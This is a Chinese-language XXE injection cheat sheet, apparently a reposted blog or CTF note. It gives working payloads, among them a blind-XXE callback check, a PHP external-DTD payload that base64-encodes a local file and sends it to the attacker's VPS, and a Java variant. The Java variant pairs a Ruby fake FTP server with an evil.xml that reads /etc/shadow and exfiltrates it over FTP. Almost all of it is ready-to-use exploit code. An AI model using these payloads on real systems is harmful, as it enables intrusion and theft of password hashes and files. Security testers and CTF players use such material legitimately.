原理简介:

https://blog.csdn.net/u011721501/article/details/43775691

首先你要确定是xml格式的数据,content-type是xml,PHP和JAVA利用有点不一样

简单验证POC:

<!DOCTYPE b [<!ENTITY xxe SYSTEM  "http://xxxxx.ceye.io/sworderNB22222-----">]>
<name>&xxe;</name>

PHP 利用方式. // python3 http.server 9099 开个服务 就行,读到的文件 直接就显示 出来了(访问日志)

读取文件POC 利用:

自己vps放置

test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://your_vps/get.php?file=%file;'>">

访问post处贴

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % remote SYSTEM "http://your_vps/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

JAVA利用方式

参考 http://www.voidcn.com/article/p-njawsjxm-ko.html

参考 从 blind XXE 到读取根目录文件 - 先知社区

自己VPS运行:  

ruby ftp.rb(centos安装ruby挺方便,别嫌麻烦,就一行命令
// name ftp.rb
require 'socket'
server = TCPServer.new 8080
loop do
  Thread.start(server.accept) do |client|
    puts "New client connected"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        puts "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
           #puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
  end
end

自己VPS放置:

// evil.xml
<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'ftp://ip:8080/%file;'>">
%int;
%send;

访问post处贴

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip/evil.xml">
%remote;]>
<root/>


 

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐